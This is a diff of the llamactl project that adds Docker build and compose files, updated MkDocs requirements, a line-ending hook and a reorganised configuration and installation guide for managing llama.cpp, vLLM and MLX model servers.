+RUN LATEST_VERSION=$(curl -s https://api.github.com/repos/lordmathis/llamactl/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/') && \
+    curl -L "https://github.com/lordmathis/llamactl/releases/download/${LATEST_VERSION}/llamactl-${LATEST_VERSION}-linux-amd64.tar.gz" | tar -xz && \
+    mv llamactl /usr/local/bin/ && \
+    chmod +x /usr/local/bin/llamactl
+
+# Set working directory
+RUN mkdir -p /data
+WORKDIR /data
+
+# Expose the default llamactl port
+EXPOSE 8080
+
+# Set llamactl as the entrypoint
+ENTRYPOINT ["llamactl"]

docker/docker-compose.yml

@@ -0,0 +1,56 @@
+version: '3.8'
+
+services:
+  llamactl-llamacpp:
+    build:
+      context: ..
+      dockerfile: docker/Dockerfile.llamacpp
+    image: llamactl:llamacpp-cuda
+    container_name: llamactl-llamacpp
+    ports:
+      - "8080:8080"
+    volumes:
+      - ./data/llamacpp:/data
+      - ./models:/models  # Mount models directory
+      - ~/.cache/llama.cpp:/root/.cache/llama.cpp  # Llama.cpp cache
+    environment:
+      # Set data directory for persistence
+      - LLAMACTL_DATA_DIR=/data
+      # Enable Docker mode for nested containers (if needed)
+      - LLAMACTL_LLAMACPP_DOCKER_ENABLED=false
+    deploy:
+      resources:
+        reservations:
+          devices:
+            - driver: nvidia
+              count: all
+              capabilities: [gpu]
+    restart: unless-stopped
+
+  llamactl-vllm:
+    build:
+      context: ..
+      dockerfile: docker/Dockerfile.vllm
+    image: llamactl:vllm-cuda
+    container_name: llamactl-vllm
+    ports:
+      - "8081:8080"  # Use different port to avoid conflicts
+    volumes:
+      - ./data/vllm:/data
+      - ./models:/models  # Mount models directory
+      - ~/.cache/huggingface:/root/.cache/huggingface  # HuggingFace cache
+    environment:
+      # Set data directory for persistence
+      - LLAMACTL_DATA_DIR=/data
+      # Enable Docker mode for nested containers (if needed)
+      - LLAMACTL_VLLM_DOCKER_ENABLED=false
+      # vLLM specific environment variables
+      - CUDA_VISIBLE_DEVICES=all
+    deploy:
+      resources:
+        reservations:
+          devices:
+            - driver: nvidia
+              count: all
+              capabilities: [gpu]
+    restart: unless-stopped

docs-requirements.txt

@@ -1,4 +1,6 @@
-mkdocs-material==9.5.3
-mkdocs==1.5.3
-pymdown-extensions==10.7
-mkdocs-git-revision-date-localized-plugin==1.2.4
+mkdocs-material==9.6.22
+mkdocs==1.6.1
+pymdown-extensions==10.16.1
+mkdocs-git-revision-date-localized-plugin==1.4.7
+mike==2.1.3
+neoteroi-mkdocs==1.1.3

docs/api-reference.md

@@ -0,0 +1 @@
+[OAD(swagger.yaml)]

docs/configuration.md

@@ -0,0 +1,270 @@
+# Configuration
+
+llamactl can be configured via configuration files or environment variables. Configuration is loaded in the following order of precedence:
+
+```
+Defaults < Configuration file < Environment variables
+```
+
+llamactl works out of the box with sensible defaults, but you can customize the behavior to suit your needs.
+
+## Default Configuration
+
+Here's the default configuration with all available options:
+
+```yaml
+server:
+  host: "0.0.0.0"                # Server host to bind to
+  port: 8080                     # Server port to bind to
+  allowed_origins: ["*"]         # Allowed CORS origins (default: all)
+  allowed_headers: ["*"]         # Allowed CORS headers (default: all)
+  enable_swagger: false          # Enable Swagger UI for API docs
+
+backends:
+  llama-cpp:
+    command: "llama-server"
+    args: []
+    environment: {}              # Environment variables for the backend process
+    docker:
+      enabled: false
+      image: "ghcr.io/ggml-org/llama.cpp:server"
+      args: ["run", "--rm", "--network", "host", "--gpus", "all"]
+      environment: {}
+    response_headers: {}         # Additional response headers to send with responses
+
+  vllm:
+    command: "vllm"
+    args: ["serve"]
+    environment: {}              # Environment variables for the backend process
+    docker:
+      enabled: false
+      image: "vllm/vllm-openai:latest"
+      args: ["run", "--rm", "--network", "host", "--gpus", "all", "--shm-size", "1g"]
+      environment: {}
+    response_headers: {}         # Additional response headers to send with responses
+
+  mlx:
+    command: "mlx_lm.server"
+    args: []
+    environment: {}              # Environment variables for the backend process
+    response_headers: {}         # Additional response headers to send with responses
+
+instances:
+  port_range: [8000, 9000]       # Port range for instances
+  data_dir: ~/.local/share/llamactl         # Data directory (platform-specific, see below)
+  configs_dir: ~/.local/share/llamactl/instances  # Instance configs directory
+  logs_dir: ~/.local/share/llamactl/logs    # Logs directory
+  auto_create_dirs: true         # Auto-create data/config/logs dirs if missing
+  max_instances: -1              # Max instances (-1 = unlimited)
+  max_running_instances: -1      # Max running instances (-1 = unlimited)
+  enable_lru_eviction: true      # Enable LRU eviction for idle instances
+  default_auto_restart: true     # Auto-restart new instances by default
+  default_max_restarts: 3        # Max restarts for new instances
+  default_restart_delay: 5       # Restart delay (seconds) for new instances
+  default_on_demand_start: true  # Default on-demand start setting
+  on_demand_start_timeout: 120   # Default on-demand start timeout in seconds
+  timeout_check_interval: 5      # Idle instance timeout check in minutes
+
+auth:
+  require_inference_auth: true   # Require auth for inference endpoints
+  inference_keys: []             # Keys for inference endpoints
+  require_management_auth: true  # Require auth for management endpoints
+  management_keys: []            # Keys for management endpoints
+
+local_node: "main"               # Name of the local node (default: "main")
+nodes:                           # Node configuration for multi-node deployment
+  main:                          # Default local node (empty config)
+```
+
+## Configuration Files
+
+### Configuration File Locations
+
+Configuration files are searched in the following locations (in order of precedence, first found is used):
+
+**Linux:**  
+- `./llamactl.yaml` or `./config.yaml` (current directory)  
+- `$HOME/.config/llamactl/config.yaml`  
+- `/etc/llamactl/config.yaml`  
+
+**macOS:**  
+- `./llamactl.yaml` or `./config.yaml` (current directory)  
+- `$HOME/Library/Application Support/llamactl/config.yaml`  
+- `/Library/Application Support/llamactl/config.yaml`  
+
+**Windows:**  
+- `./llamactl.yaml` or `./config.yaml` (current directory)  
+- `%APPDATA%\llamactl\config.yaml`  
+- `%USERPROFILE%\llamactl\config.yaml`  
+- `%PROGRAMDATA%\llamactl\config.yaml`  
+
+You can specify the path to config file with `LLAMACTL_CONFIG_PATH` environment variable.
+
+## Configuration Options
+
+### Server Configuration
+
+```yaml
+server:
+  host: "0.0.0.0"         # Server host to bind to (default: "0.0.0.0")
+  port: 8080              # Server port to bind to (default: 8080)
+  allowed_origins: ["*"]  # CORS allowed origins (default: ["*"])
+  allowed_headers: ["*"]  # CORS allowed headers (default: ["*"])
+  enable_swagger: false   # Enable Swagger UI (default: false)
+```
+
+**Environment Variables:**
+- `LLAMACTL_HOST` - Server host
+- `LLAMACTL_PORT` - Server port
+- `LLAMACTL_ALLOWED_ORIGINS` - Comma-separated CORS origins
+- `LLAMACTL_ENABLE_SWAGGER` - Enable Swagger UI (true/false)
+
+### Backend Configuration
+```yaml
+backends:
+  llama-cpp:
+    command: "llama-server"
+    args: []
+    environment: {}              # Environment variables for the backend process
+    docker:
+      enabled: false             # Enable Docker runtime (default: false)
+      image: "ghcr.io/ggml-org/llama.cpp:server"
+      args: ["run", "--rm", "--network", "host", "--gpus", "all"]
+      environment: {}
+    response_headers: {}         # Additional response headers to send with responses
+
+  vllm:
+    command: "vllm"
+    args: ["serve"]
+    environment: {}              # Environment variables for the backend process
+    docker:
+      enabled: false             # Enable Docker runtime (default: false)
+      image: "vllm/vllm-openai:latest"
+      args: ["run", "--rm", "--network", "host", "--gpus", "all", "--shm-size", "1g"]
+      environment: {}
+    response_headers: {}         # Additional response headers to send with responses
+
+  mlx:
+    command: "mlx_lm.server"
+    args: []
+    environment: {}              # Environment variables for the backend process
+    # MLX does not support Docker
+    response_headers: {}         # Additional response headers to send with responses
+```
+
+**Backend Configuration Fields:**
+- `command`: Executable name/path for the backend
+- `args`: Default arguments prepended to all instances
+- `environment`: Environment variables for the backend process (optional)
+- `response_headers`: Additional response headers to send with responses (optional)
+- `docker`: Docker-specific configuration (optional)
+  - `enabled`: Boolean flag to enable Docker runtime
+  - `image`: Docker image to use
+  - `args`: Additional arguments passed to `docker run`
+  - `environment`: Environment variables for the container (optional)
+
+> If llamactl is behind an NGINX proxy, `X-Accel-Buffering: no` response header may be required for NGINX to properly stream the responses without buffering.
+
+**Environment Variables:**
+
+**LlamaCpp Backend:**
+- `LLAMACTL_LLAMACPP_COMMAND` - LlamaCpp executable command
+- `LLAMACTL_LLAMACPP_ARGS` - Space-separated default arguments
+- `LLAMACTL_LLAMACPP_ENV` - Environment variables in format "KEY1=value1,KEY2=value2"
+- `LLAMACTL_LLAMACPP_DOCKER_ENABLED` - Enable Docker runtime (true/false)
+- `LLAMACTL_LLAMACPP_DOCKER_IMAGE` - Docker image to use
+- `LLAMACTL_LLAMACPP_DOCKER_ARGS` - Space-separated Docker arguments
+- `LLAMACTL_LLAMACPP_DOCKER_ENV` - Docker environment variables in format "KEY1=value1,KEY2=value2"
+- `LLAMACTL_LLAMACPP_RESPONSE_HEADERS` - Response headers in format "KEY1=value1;KEY2=value2"
+
+**VLLM Backend:**
+- `LLAMACTL_VLLM_COMMAND` - VLLM executable command
+- `LLAMACTL_VLLM_ARGS` - Space-separated default arguments
+- `LLAMACTL_VLLM_ENV` - Environment variables in format "KEY1=value1,KEY2=value2"
+- `LLAMACTL_VLLM_DOCKER_ENABLED` - Enable Docker runtime (true/false)
+- `LLAMACTL_VLLM_DOCKER_IMAGE` - Docker image to use
+- `LLAMACTL_VLLM_DOCKER_ARGS` - Space-separated Docker arguments
+- `LLAMACTL_VLLM_DOCKER_ENV` - Docker environment variables in format "KEY1=value1,KEY2=value2"
+- `LLAMACTL_VLLM_RESPONSE_HEADERS` - Response headers in format "KEY1=value1;KEY2=value2"
+
+**MLX Backend:**
+- `LLAMACTL_MLX_COMMAND` - MLX executable command
+- `LLAMACTL_MLX_ARGS` - Space-separated default arguments
+- `LLAMACTL_MLX_ENV` - Environment variables in format "KEY1=value1,KEY2=value2"
+- `LLAMACTL_MLX_RESPONSE_HEADERS` - Response headers in format "KEY1=value1;KEY2=value2"
+
+### Instance Configuration
+
+```yaml
+instances:
+  port_range: [8000, 9000]                          # Port range for instances (default: [8000, 9000])
+  data_dir: "~/.local/share/llamactl"               # Directory for all llamactl data (default varies by OS)
+  configs_dir: "~/.local/share/llamactl/instances"  # Directory for instance configs (default: data_dir/instances)
+  logs_dir: "~/.local/share/llamactl/logs"          # Directory for instance logs (default: data_dir/logs)
+  auto_create_dirs: true                            # Automatically create data/config/logs directories (default: true)
+  max_instances: -1                                 # Maximum instances (-1 = unlimited)
+  max_running_instances: -1                         # Maximum running instances (-1 = unlimited)
+  enable_lru_eviction: true                         # Enable LRU eviction for idle instances
+  default_auto_restart: true                        # Default auto-restart setting
+  default_max_restarts: 3                           # Default maximum restart attempts
+  default_restart_delay: 5                          # Default restart delay in seconds
+  default_on_demand_start: true                     # Default on-demand start setting
+  on_demand_start_timeout: 120                      # Default on-demand start timeout in seconds
+  timeout_check_interval: 5                         # Default instance timeout check interval in minutes
+```
+
+**Environment Variables:**  
+- `LLAMACTL_INSTANCE_PORT_RANGE` - Port range (format: "8000-9000" or "8000,9000")  
+- `LLAMACTL_DATA_DIRECTORY` - Data directory path  
+- `LLAMACTL_INSTANCES_DIR` - Instance configs directory path  
+- `LLAMACTL_LOGS_DIR` - Log directory path  
+- `LLAMACTL_AUTO_CREATE_DATA_DIR` - Auto-create data/config/logs directories (true/false)  
+- `LLAMACTL_MAX_INSTANCES` - Maximum number of instances  
+- `LLAMACTL_MAX_RUNNING_INSTANCES` - Maximum number of running instances
+- `LLAMACTL_ENABLE_LRU_EVICTION` - Enable LRU eviction for idle instances
+- `LLAMACTL_DEFAULT_AUTO_RESTART` - Default auto-restart setting (true/false)  
+- `LLAMACTL_DEFAULT_MAX_RESTARTS` - Default maximum restarts  
+- `LLAMACTL_DEFAULT_RESTART_DELAY` - Default restart delay in seconds  
+- `LLAMACTL_DEFAULT_ON_DEMAND_START` - Default on-demand start setting (true/false)  
+- `LLAMACTL_ON_DEMAND_START_TIMEOUT` - Default on-demand start timeout in seconds  
+- `LLAMACTL_TIMEOUT_CHECK_INTERVAL` - Default instance timeout check interval in minutes  
+
+### Authentication Configuration
+
+```yaml
+auth:
+  require_inference_auth: true           # Require API key for OpenAI endpoints (default: true)
+  inference_keys: []                     # List of valid inference API keys
+  require_management_auth: true          # Require API key for management endpoints (default: true)
+  management_keys: []                    # List of valid management API keys
+```
+
+**Environment Variables:**
+- `LLAMACTL_REQUIRE_INFERENCE_AUTH` - Require auth for OpenAI endpoints (true/false)
+- `LLAMACTL_INFERENCE_KEYS` - Comma-separated inference API keys
+- `LLAMACTL_REQUIRE_MANAGEMENT_AUTH` - Require auth for management endpoints (true/false)
+- `LLAMACTL_MANAGEMENT_KEYS` - Comma-separated management API keys
+
+### Remote Node Configuration
+
+llamactl supports remote node deployments. Configure remote nodes to deploy instances on remote hosts and manage them centrally.
+
+```yaml
+local_node: "main"               # Name of the local node (default: "main")
+nodes:                           # Node configuration map
+  main:                          # Local node (empty address means local)
+    address: ""                  # Not used for local node
+    api_key: ""                  # Not used for local node
+  worker1:                       # Remote worker node
+    address: "http://192.168.1.10:8080"
+    api_key: "worker1-api-key"   # Management API key for authentication
+```
+
+**Node Configuration Fields:**
+- `local_node`: Specifies which node in the `nodes` map represents the local node. Must match exactly what other nodes call this node.
+- `nodes`: Map of node configurations
+  - `address`: HTTP/HTTPS URL of the remote node (empty for local node)
+  - `api_key`: Management API key for authenticating with the remote node
+
+**Environment Variables:**
+- `LLAMACTL_LOCAL_NODE` - Name of the local node

docs/fix_line_endings.py

@@ -0,0 +1,60 @@
+"""
+MkDocs hook to fix line endings for proper rendering.
+Automatically adds two spaces at the end of lines that need line breaks.
+"""
+import re
+
+
+def on_page_markdown(markdown, page, config, **kwargs):
+    """
+    Fix line endings in markdown content for proper MkDocs rendering.
+    Adds two spaces at the end of lines that need line breaks.
+    """
+    lines = markdown.split('\n')
+    processed_lines = []
+    in_code_block = False
+    
+    for i, line in enumerate(lines):
+        stripped = line.strip()
+        
+        # Track code blocks
+        if stripped.startswith('```'):
+            in_code_block = not in_code_block
+            processed_lines.append(line)
+            continue
+            
+        # Skip processing inside code blocks
+        if in_code_block:
+            processed_lines.append(line)
+            continue
+            
+        # Skip empty lines
+        if not stripped:
+            processed_lines.append(line)
+            continue
+            
+        # Skip lines that shouldn't have line breaks:
+        # - Headers (# ## ###)
+        # - Blockquotes (>)
+        # - Table rows (|)
+        # - Lines already ending with two spaces
+        # - YAML front matter and HTML tags
+        # - Standalone punctuation lines
+        if (stripped.startswith('#') or 
+            stripped.startswith('>') or
+            '|' in stripped or
+            line.endswith('  ') or
+            stripped.startswith('---') or
+            stripped.startswith('<') or
+            stripped.endswith('>') or
+            stripped in ('.', '!', '?', ':', ';', '```', '---', ',')):
+            processed_lines.append(line)
+            continue
+            
+        # Add two spaces to lines that end with regular text or most punctuation
+        if stripped and not in_code_block:
+            processed_lines.append(line.rstrip() + '  ')
+        else:
+            processed_lines.append(line)
+            
+    return '\n'.join(processed_lines)

docs/getting-started/configuration.md

@@ -1,150 +0,0 @@
-# Configuration
-
-llamactl can be configured via configuration files or environment variables. Configuration is loaded in the following order of precedence:
-
-```
-Defaults < Configuration file < Environment variables
-```
-
-llamactl works out of the box with sensible defaults, but you can customize the behavior to suit your needs.
-
-## Default Configuration
-
-Here's the default configuration with all available options:
-
-```yaml
-server:
-  host: "0.0.0.0"                # Server host to bind to
-  port: 8080                     # Server port to bind to
-  allowed_origins: ["*"]         # Allowed CORS origins (default: all)
-  enable_swagger: false          # Enable Swagger UI for API docs
-
-instances:
-  port_range: [8000, 9000]       # Port range for instances
-  data_dir: ~/.local/share/llamactl         # Data directory (platform-specific, see below)
-  configs_dir: ~/.local/share/llamactl/instances  # Instance configs directory
-  logs_dir: ~/.local/share/llamactl/logs    # Logs directory
-  auto_create_dirs: true         # Auto-create data/config/logs dirs if missing
-  max_instances: -1              # Max instances (-1 = unlimited)
-  max_running_instances: -1      # Max running instances (-1 = unlimited)
-  enable_lru_eviction: true      # Enable LRU eviction for idle instances
-  llama_executable: llama-server # Path to llama-server executable
-  default_auto_restart: true     # Auto-restart new instances by default
-  default_max_restarts: 3        # Max restarts for new instances
-  default_restart_delay: 5       # Restart delay (seconds) for new instances
-  default_on_demand_start: true  # Default on-demand start setting
-  on_demand_start_timeout: 120   # Default on-demand start timeout in seconds
-  timeout_check_interval: 5      # Idle instance timeout check in minutes
-
-auth:
-  require_inference_auth: true   # Require auth for inference endpoints
-  inference_keys: []             # Keys for inference endpoints
-  require_management_auth: true  # Require auth for management endpoints
-  management_keys: []            # Keys for management endpoints
-```
-
-## Configuration Files
-
-### Configuration File Locations
-
-Configuration files are searched in the following locations (in order of precedence):
-
-**Linux:**  
-- `./llamactl.yaml` or `./config.yaml` (current directory)  
-- `$HOME/.config/llamactl/config.yaml`  
-- `/etc/llamactl/config.yaml`  
-
-**macOS:**  
-- `./llamactl.yaml` or `./config.yaml` (current directory)  
-- `$HOME/Library/Application Support/llamactl/config.yaml`  
-- `/Library/Application Support/llamactl/config.yaml`  
-
-**Windows:**  
-- `./llamactl.yaml` or `./config.yaml` (current directory)  
-- `%APPDATA%\llamactl\config.yaml`  
-- `%USERPROFILE%\llamactl\config.yaml`  
-- `%PROGRAMDATA%\llamactl\config.yaml`  
-
-You can specify the path to config file with `LLAMACTL_CONFIG_PATH` environment variable.
-
-## Configuration Options
-
-### Server Configuration
-
-```yaml
-server:
-  host: "0.0.0.0"         # Server host to bind to (default: "0.0.0.0")
-  port: 8080              # Server port to bind to (default: 8080)
-  allowed_origins: ["*"]  # CORS allowed origins (default: ["*"])
-  enable_swagger: false   # Enable Swagger UI (default: false)
-```
-
-**Environment Variables:**  
-- `LLAMACTL_HOST` - Server host  
-- `LLAMACTL_PORT` - Server port  
-- `LLAMACTL_ALLOWED_ORIGINS` - Comma-separated CORS origins  
-- `LLAMACTL_ENABLE_SWAGGER` - Enable Swagger UI (true/false)  
-
-### Instance Configuration
-
-```yaml
-instances:
-  port_range: [8000, 9000]                          # Port range for instances (default: [8000, 9000])
-  data_dir: "~/.local/share/llamactl"               # Directory for all llamactl data (default varies by OS)
-  configs_dir: "~/.local/share/llamactl/instances"  # Directory for instance configs (default: data_dir/instances)
-  logs_dir: "~/.local/share/llamactl/logs"          # Directory for instance logs (default: data_dir/logs)
-  auto_create_dirs: true                            # Automatically create data/config/logs directories (default: true)
-  max_instances: -1                                 # Maximum instances (-1 = unlimited)
-  max_running_instances: -1                         # Maximum running instances (-1 = unlimited)
-  enable_lru_eviction: true                         # Enable LRU eviction for idle instances
-  llama_executable: "llama-server"                  # Path to llama-server executable
-  default_auto_restart: true                        # Default auto-restart setting
-  default_max_restarts: 3                           # Default maximum restart attempts
-  default_restart_delay: 5                          # Default restart delay in seconds
-  default_on_demand_start: true                     # Default on-demand start setting
-  on_demand_start_timeout: 120                      # Default on-demand start timeout in seconds
-  timeout_check_interval: 5                         # Default instance timeout check interval in minutes
-```
-
-**Environment Variables:**  
-- `LLAMACTL_INSTANCE_PORT_RANGE` - Port range (format: "8000-9000" or "8000,9000")  
-- `LLAMACTL_DATA_DIRECTORY` - Data directory path  
-- `LLAMACTL_INSTANCES_DIR` - Instance configs directory path  
-- `LLAMACTL_LOGS_DIR` - Log directory path  
-- `LLAMACTL_AUTO_CREATE_DATA_DIR` - Auto-create data/config/logs directories (true/false)  
-- `LLAMACTL_MAX_INSTANCES` - Maximum number of instances  
-- `LLAMACTL_MAX_RUNNING_INSTANCES` - Maximum number of running instances  
-- `LLAMACTL_ENABLE_LRU_EVICTION` - Enable LRU eviction for idle instances  
-- `LLAMACTL_LLAMA_EXECUTABLE` - Path to llama-server executable  
-- `LLAMACTL_DEFAULT_AUTO_RESTART` - Default auto-restart setting (true/false)  
-- `LLAMACTL_DEFAULT_MAX_RESTARTS` - Default maximum restarts  
-- `LLAMACTL_DEFAULT_RESTART_DELAY` - Default restart delay in seconds  
-- `LLAMACTL_DEFAULT_ON_DEMAND_START` - Default on-demand start setting (true/false)  
-- `LLAMACTL_ON_DEMAND_START_TIMEOUT` - Default on-demand start timeout in seconds  
-- `LLAMACTL_TIMEOUT_CHECK_INTERVAL` - Default instance timeout check interval in minutes  
-
-### Authentication Configuration
-
-```yaml
-auth:
-  require_inference_auth: true           # Require API key for OpenAI endpoints (default: true)
-  inference_keys: []                     # List of valid inference API keys
-  require_management_auth: true          # Require API key for management endpoints (default: true)
-  management_keys: []                    # List of valid management API keys
-```
-
-**Environment Variables:**  
-- `LLAMACTL_REQUIRE_INFERENCE_AUTH` - Require auth for OpenAI endpoints (true/false)  
-- `LLAMACTL_INFERENCE_KEYS` - Comma-separated inference API keys  
-- `LLAMACTL_REQUIRE_MANAGEMENT_AUTH` - Require auth for management endpoints (true/false)  
-- `LLAMACTL_MANAGEMENT_KEYS` - Comma-separated management API keys  
-
-## Command Line Options
-
-View all available command line options:
-
-```bash
-llamactl --help
-```
-
-You can also override configuration using command line flags when starting llamactl.

docs/getting-started/installation.md

@@ -1,70 +0,0 @@
-# Installation
-
-This guide will walk you through installing Llamactl on your system.
-
-## Prerequisites
-
-You need `llama-server` from [llama.cpp](https://github.com/ggml-org/llama.cpp) installed:
-
-
-**Quick install methods:**
-
-```bash
-# Homebrew (macOS/Linux)
-brew install llama.cpp
-# Winget (Windows)
-winget install llama.cpp
-```
-
-Or build from source - see llama.cpp docs
-
-## Installation Methods
-
-### Option 1: Download Binary (Recommended)
-
-Download the latest release from the [GitHub releases page](https://github.com/lordmathis/llamactl/releases):
-
-```bash
-# Linux/macOS - Get latest version and download
-LATEST_VERSION=$(curl -s https://api.github.com/repos/lordmathis/llamactl/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
-curl -L https://github.com/lordmathis/llamactl/releases/download/${LATEST_VERSION}/llamactl-${LATEST_VERSION}-$(uname -s | tr '[:upper:]' '[:lower:]')-$(uname -m).tar.gz | tar -xz
-sudo mv llamactl /usr/local/bin/
-
-# Or download manually from:
-# https://github.com/lordmathis/llamactl/releases/latest
-
-# Windows - Download from releases page
-```
-
-### Option 2: Build from Source
-
-Requirements:
-- Go 1.24 or later
-- Node.js 22 or later
-- Git
-
-If you prefer to build from source:
-
-```bash
-# Clone the repository
-git clone https://github.com/lordmathis/llamactl.git
-cd llamactl
-
-# Build the web UI
-cd webui && npm ci && npm run build && cd ..
-
-# Build the application
-go build -o llamactl ./cmd/server
-```
-
-## Verification
-
-Verify your installation by checking the version:
-
-```bash
-llamactl --version
-```
-
-## Next Steps
-
-Now that Llamactl is installed, continue to the [Quick Start](quick-start.md) guide to get your first instance running!

docs/getting-started/quick-start.md

@@ -1,143 +0,0 @@
-# Quick Start
-
-This guide will help you get Llamactl up and running in just a few minutes.
-
-## Step 1: Start Llamactl
-
-Start the Llamactl server:
-
-```bash
-llamactl
-```
-
-By default, Llamactl will start on `http://localhost:8080`.
-
-## Step 2: Access the Web UI
-
-Open your web browser and navigate to:
-
-```
-http://localhost:8080
-```
-
-Login with the management API key. By default it is generated during server startup. Copy it from the terminal output.
-
-You should see the Llamactl web interface.
-
-## Step 3: Create Your First Instance
-
-1. Click the "Add Instance" button
-2. Fill in the instance configuration:
-   - **Name**: Give your instance a descriptive name
-   - **Model Path**: Path to your Llama.cpp model file
-   - **Additional Options**: Any extra Llama.cpp parameters
-
-3. Click "Create Instance"
-
-## Step 4: Start Your Instance
-
-Once created, you can:
-
-- **Start** the instance by clicking the start button
-- **Monitor** its status in real-time
-- **View logs** by clicking the logs button
-- **Stop** the instance when needed
-
-## Example Configuration
-
-Here's a basic example configuration for a Llama 2 model:
-
-```json
-{
-  "name": "llama2-7b",
-  "model_path": "/path/to/llama-2-7b-chat.gguf",
-  "options": {
-    "threads": 4,
-    "context_size": 2048
-  }
-}
-```
-
-## Using the API
-
-You can also manage instances via the REST API:
-
-```bash
-# List all instances
-curl http://localhost:8080/api/instances
-
-# Create a new instance
-curl -X POST http://localhost:8080/api/instances \
-  -H "Content-Type: application/json" \
-  -d '{
-    "name": "my-model",
-    "model_path": "/path/to/model.gguf",
-  }'
-
-# Start an instance
-curl -X POST http://localhost:8080/api/instances/my-model/start
-```
-
-## OpenAI Compatible API
-
-Llamactl provides OpenAI-compatible endpoints, making it easy to integrate with existing OpenAI client libraries and tools.
-
-### Chat Completions
-
-Once you have an instance running, you can use it with the OpenAI-compatible chat completions endpoint:
-
-```bash
-curl -X POST http://localhost:8080/v1/chat/completions \
-  -H "Content-Type: application/json" \
-  -d '{
-    "model": "my-model",
-    "messages": [
-      {
-        "role": "user",
-        "content": "Hello! Can you help me write a Python function?"
-      }
-    ],
-    "max_tokens": 150,
-    "temperature": 0.7
-  }'
-```
-
-### Using with Python OpenAI Client
-
-You can also use the official OpenAI Python client:
-
-```python
-from openai import OpenAI
-
-# Point the client to your Llamactl server
-client = OpenAI(
-    base_url="http://localhost:8080/v1",
-    api_key="not-needed"  # Llamactl doesn't require API keys by default
-)
-
-# Create a chat completion
-response = client.chat.completions.create(
-    model="my-model",  # Use the name of your instance
-    messages=[
-        {"role": "user", "content": "Explain quantum computing in simple terms"}
-    ],
-    max_tokens=200,
-    temperature=0.7
-)
-
-print(response.choices[0].message.content)
-```
-
-### List Available Models
-
-Get a list of running instances (models) in OpenAI-compatible format:
-
-```bash
-curl http://localhost:8080/v1/models
-```
-
-## Next Steps
-
-- Manage instances [Managing Instances](../user-guide/managing-instances.md)
-- Explore the [API Reference](../user-guide/api-reference.md)
-- Configure advanced settings in the [Configuration](configuration.md) guide

docs/index.md

@@ -1,40 +1,33 @@
 # Llamactl Documentation
 
-Welcome to the Llamactl documentation! **Management server and proxy for multiple llama.cpp instances with OpenAI-compatible API routing.**
+Welcome to the Llamactl documentation!  
 
 ![Dashboard Screenshot](images/dashboard.png)
 
 ## What is Llamactl?
 
-Llamactl is designed to simplify the deployment and management of llama-server instances. It provides a modern solution for running multiple large language models with centralized management.
+**{{HEADLINE}}**
 
 ## Features
 
-🚀 **Multiple Model Serving**: Run different models simultaneously (7B for speed, 70B for quality)  
-🔗 **OpenAI API Compatible**: Drop-in replacement - route requests by model name  
-🌐 **Web Dashboard**: Modern React UI for visual management (unlike CLI-only tools)  
-🔐 **API Key Authentication**: Separate keys for management vs inference access  
-📊 **Instance Monitoring**: Health checks, auto-restart, log management  
-⚡ **Smart Resource Management**: Idle timeout, LRU eviction, and configurable instance limits  
-💡 **On-Demand Instance Start**: Automatically launch instances upon receiving OpenAI-compatible API requests  
-💾 **State Persistence**: Ensure instances remain intact across server restarts  
+{{FEATURES}}  
 
 ## Quick Links
 
-- [Installation Guide](getting-started/installation.md) - Get Llamactl up and running
-- [Configuration Guide](getting-started/configuration.md) - Detailed configuration options
-- [Quick Start](getting-started/quick-start.md) - Your first steps with Llamactl
-- [Managing Instances](user-guide/managing-instances.md) - Instance lifecycle management
-- [API Reference](user-guide/api-reference.md) - Complete API documentation
+- [Installation Guide](installation.md) - Get Llamactl up and running
+- [Configuration Guide](configuration.md) - Detailed configuration options
+- [Quick Start](quick-start.md) - Your first steps with Llamactl
+- [Managing Instances](managing-instances.md) - Instance lifecycle management
+- [API Reference](api-reference.md) - Complete API documentation
 
 
 ## Getting Help
 
 If you need help or have questions:
 
-- Check the [Troubleshooting](user-guide/troubleshooting.md) guide
+- Check the [Troubleshooting](troubleshooting.md) guide
 - Visit the [GitHub repository](https://github.com/lordmathis/llamactl)
-- Review the [Configuration Guide](getting-started/configuration.md) for advanced settings
+- Review the [Configuration Guide](configuration.md) for advanced settings
 
 ## License
 

docs/installation.md

@@ -0,0 +1,174 @@
+# Installation
+
+This guide will walk you through installing Llamactl on your system.
+
+## Prerequisites
+
+### Backend Dependencies
+
+llamactl supports multiple backends. Install at least one:
+
+**For llama.cpp backend (all platforms):**
+
+You need `llama-server` from [llama.cpp](https://github.com/ggml-org/llama.cpp) installed:
+
+```bash
+# Homebrew (macOS/Linux)
+brew install llama.cpp
+# Winget (Windows)
+winget install llama.cpp
+```
+
+Or build from source - see llama.cpp docs
+
+**For MLX backend (macOS only):**
+
+MLX provides optimized inference on Apple Silicon. Install MLX-LM:
+
+```bash
+# Install via pip (requires Python 3.8+)
+pip install mlx-lm
+
+# Or in a virtual environment (recommended)
+python -m venv mlx-env
+source mlx-env/bin/activate
+pip install mlx-lm
+```
+
+Note: MLX backend is only available on macOS with Apple Silicon (M1, M2, M3, etc.)
+
+**For vLLM backend:**
+
+vLLM provides high-throughput distributed serving for LLMs. Install vLLM:
+
+```bash
+# Install in a virtual environment
+python -m venv vllm-env
+source vllm-env/bin/activate
+pip install vllm
+```
+
+## Installation Methods
+
+### Option 1: Download Binary (Recommended)
+
+Download the latest release from the [GitHub releases page](https://github.com/lordmathis/llamactl/releases):
+
+```bash
+# Linux/macOS - Get latest version and download
+LATEST_VERSION=$(curl -s https://api.github.com/repos/lordmathis/llamactl/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
+curl -L https://github.com/lordmathis/llamactl/releases/download/${LATEST_VERSION}/llamactl-${LATEST_VERSION}-$(uname -s | tr '[:upper:]' '[:lower:]')-$(uname -m).tar.gz | tar -xz
+sudo mv llamactl /usr/local/bin/
+
+# Or download manually from:
+# https://github.com/lordmathis/llamactl/releases/latest
+
+# Windows - Download from releases page
+```
+
+### Option 2: Docker
+
+llamactl provides Dockerfiles for creating Docker images with backends pre-installed. The resulting images include the latest llamactl release with the respective backend.
+
+**Available Dockerfiles (CUDA):**
+- **llamactl with llama.cpp CUDA**: `docker/Dockerfile.llamacpp` (based on `ghcr.io/ggml-org/llama.cpp:server-cuda`)
+- **llamactl with vLLM CUDA**: `docker/Dockerfile.vllm` (based on `vllm/vllm-openai:latest`)
+- **llamactl built from source**: `docker/Dockerfile.source` (multi-stage build with webui)
+
